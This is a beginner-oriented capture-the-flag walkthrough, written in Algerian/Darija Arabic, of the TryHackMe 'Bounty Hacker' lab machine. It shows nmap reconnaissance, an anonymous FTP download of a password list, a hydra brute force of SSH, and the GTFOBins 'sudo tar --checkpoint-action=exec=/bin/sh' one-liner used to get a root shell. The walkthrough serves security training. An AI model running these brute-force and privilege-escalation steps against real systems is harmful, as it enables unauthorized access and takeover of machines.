THM : Bounty Hacker – حل و شرح

المقدّمة

Bounty Hacker هو واحد من التحديات الكلاسيكية على منصة TryHackMe، موجه للمبتدئين في عالم CTF والأمن السيبراني. الهدف منه هو تدريبك على خطوات أساسية كيما جمع المعلومات، كسر كلمات المرور، الوصول للنظام عبر SSH، وأخيرًا تصعيد الصلاحيات للحصول على صلاحيات root.

التحدي ما يتطلبش تقنيات متقدمة، بصح يعلمك كيفاش تربط بين المعطيات وتستغلها بطريقة منظمة.

💻 المنصةTryhackme (THM)
🔗 الرابطاضغط هنا
🖥️ نظام التشغيلLinux
🎯 الصعوبةساهلة
🧠 TTPs (طرق وتقنيات) تصعيد الصلاحيات

فحص الشبكة بـ Nmap


أول حاجة درتها هي فحص شامل للآلة باستخدام nmap باش نشوف البورتات المفتوحة والخدمات اللي راهي دايرة تخدم.

  sudo nmap -A -T4 -sCV -p- 10.10.245.100 -oN bounty.nmap -vvv
# Nmap 7.95 scan initiated Mon Aug  4 13:26:37 2025 as: /usr/lib/nmap/nmap -A -T4 -sCV -oN bounty.nmap -v 10.10.227.89
Nmap scan report for 10.10.227.89
Host is up (0.079s latency).
Not shown: 967 filtered tcp ports (no-response)
PORT      STATE  SERVICE         VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp             vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.23.150.79
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open   ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
|   256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_  256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)
80/tcp    open   http            Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
990/tcp   closed ftps
40193/tcp closed unknown
40911/tcp closed unknown
41511/tcp closed unknown
42510/tcp closed caerpc
44176/tcp closed unknown
44442/tcp closed coldfusion-auth
44443/tcp closed coldfusion-auth
44501/tcp closed unknown
45100/tcp closed unknown
48080/tcp closed unknown
49152/tcp closed unknown
49153/tcp closed unknown
49154/tcp closed unknown
49155/tcp closed unknown
49156/tcp closed unknown
49157/tcp closed unknown
49158/tcp closed unknown
49159/tcp closed unknown
49160/tcp closed unknown
49161/tcp closed unknown
49163/tcp closed unknown
49165/tcp closed unknown
49167/tcp closed unknown
49175/tcp closed unknown
49176/tcp closed unknown
49400/tcp closed compaqdiag
49999/tcp closed unknown
50000/tcp closed ibm-db2
Aggressive OS guesses: Linux 4.15 (94%), Linux 2.6.32 - 3.13 (93%), Linux 3.10 - 4.11 (91%), Android 9 - 10 (Linux 4.9 - 4.14) (90%), Linux 3.2 - 4.14 (90%), Linux 4.15 - 5.19 (90%), Linux 2.6.32 - 3.10 (90%), Linux 5.4 (89%), HP P2000 G3 NAS device (89%), Linux 5.0 - 5.14 (89%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 13.627 days (since Mon Jul 21 22:25:08 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 44442/tcp)
HOP RTT      ADDRESS
1   79.05 ms 10.23.0.1
2   79.38 ms 10.10.227.89

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug  4 13:27:26 2025 -- 1 IP address (1 host up) scanned in 49.32 seconds
  • البورت 22 فيه خدمة SSH (OpenSSH 8.9)
  • البورت 80 فيه موقع ويب بسيط يخدم بـ apache
  • FTP مفتوح بدون كلمة سر (anonymous login مسموح)

الوصول المجهول لـ FTP وتحميل الملفات

بما أن FTP يسمح بالدخول بـ anonymous، دخلت بدون ما ندير login حقيقي:

  ftp anonymous@10.10.227.89

لقيت ملفين:

  • locks.txt فيه مجموعة كلمات سر
  • task.txt فيه تلميحات، بصح ما فيه حتى معلومة حساسة

حملتهم:

  bounty ftp anonymous@10.10.158.220
Connected to 10.10.158.220.
220 (vsFTPd 3.0.3)
230 Login successful.<br>Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> dir
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.
ftp> get locks.txt
local: locks.txt remote: locks.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
100% |****************************************************************************************************************|   418        8.80 KiB/s    00:00 ETA
226 Transfer complete.<br>418 bytes received in 00:00 (3.47 KiB/s)
ftp> get task.txt
local: task.txt remote: task.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
100% |****************************************************************************************************************|    68      125.29 KiB/s    00:00 ETA<br>226 Transfer complete.<br>68 bytes received in 00:00 (0.92 KiB/s)
ftp>
Ftp

تحليل الملفات والبحث عن كلمات السر

ملف locks.txt شكله يشبه لقائمة كلمات سر. احتمال كبير يكون موجه لهجمات brute force. الملف الثاني كان مجرد ملاحظة عامة، ما فيهوش شيء تقني.

احتفظت بـ locks.txt باش نرجع له كي نوصل لمحاولة تخمين كلمة سر.

Files
Files

التوجه للموقع واستخراج أسماء المستخدمين

رحت للموقع على البورت 80:

الصفحة فيها مجموعة أسماء باينة أنها من مسلسل Cowboy Bebop:
spike, jet, faye, ed, ein

استنتجت أنها ممكن تكون أسماء مستخدمين،

2025 08 04 14 38 05 Kali Linux 2025.1c Vmware Amd64 Vmware Workstation

كسر كلمات السر باستخدام hydra

من بعد ما جمعنا مجموعة من أسماء المستخدمين من صفحة الويب — واللي أغلبهم شخصيات من مسلسل Cowboy Bebop — قررنا نجرب نكسر كلمات السر على خدمة SSH باستخدام أداة hydra.

استعملنا لائحة الأسماء كمجموعة usernames، والفايل اللي حملناه من FTP كمجموعة كلمات سر. hydra قام بالمقارنة بيناتهم بطريقة brute force، ولقينا أنو الحساب lin يقدر يتصل بنجاح.

هاد الشي عطانا أول نقطة دخول حقيقية للنظام عبر SSH.

  hydra -L usernames.txt -P locks.txt $IP ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-04 14:51:20
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 260 login tries (l:10/p:26), ~17 tries per task
[DATA] attacking ssh://10.10.158.220:22/
[22][ssh] host: 10.10.158.220   login: lin   password: Re************cat3

من بعد ما hydra كشف أنو الحساب lin عندو كلمة سر صحيحة، جربنا نسجل الدخول باستعمال:

ssh lin@$IP
Sshuser 2

محاولة التصعيد إلى صلاحيات الروت

من بعد ما حصلنا على علم المستخدم، كان الهدف التالي هو نحاول نوليوا روت.

أول حاجة درناها هي نستعمل الأمر:

sudo -l
Sudol

باش نشوف واش المستخدم lin عندو صلاحيات sudo على شي أوامر بدون كلمة سر.

الإخراج كان مفاجئ شوية: عندنا صلاحية تشغيل الأمر tar كمستخدم root بدون ما يطلب منا كلمة سر.

وهنا جات فكرة استغلال الأمر tar من خلال تقنية معروفة ومذكورة فموقع GTFOBins، واللي تسمح لينا نستعمل tar باش ننفذ أوامر كروت.

استغلال صلاحيات tar للحصول على صلاحيات الروت

حسب الدوكيمونتاسيون في GTFOBins، نقدر نستغل tar لتشغيل أمر كروت عبر هاد السطر:

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Gtfobins

فعلاً، بعد ما جربنا السطر هذا، اتحلّ لينا شل كروت مباشرة، وولّينا نقدروا نديروا أي حاجة فالنظام بصلاحيات المدير.

من بعد دخلنا للمجلد /root ولقينا فيه علم الروت:

lin@bountyhacker:~/Desktop$ sudo -l
[sudo] password for lin: 
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar
Rootflag

وبهذا نكونوا كمّلنا التحدي بنجاح!

فيديو الشرح الكامل

هاد الفيديو فيه الشرح خطوة بخطوة لطريقة حل تحدي Bounty Hacker على TryHackMe، من الاسكان حتى لروت:

ما تنساش تدير لايك وسبسكرايب إذا عجبك المحتوى

الخاتمة

تحدي Bounty Hacker هو واحد من أسهل التحديات على منصة TryHackMe، ومثالي لأي مبتدئ حاب يبدا في عالم Capture The Flag.

تعلمنا فيه:

  • كيفاش نحلل المنافذ المفتوحة ونفهم الخدمات.
  • كيفاش نستغل FTP لتحميل ملفات مفيدة.
  • كيفاش نستخدم hydra للبروت فورس على SSH.
  • كيفاش نستخدم صلاحيات محدودة للوصول لصلاحيات الروت.

إذا كنت أول مرة تدخل لهذا المجال، متخافش، كل تحدي غادي يزيد يطوّرك ويخليك أقرب للإحتراف.

أي تساؤل ولا حبّيت تزيد تتعمق، خلّي تعليق أو تواصل معايا

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *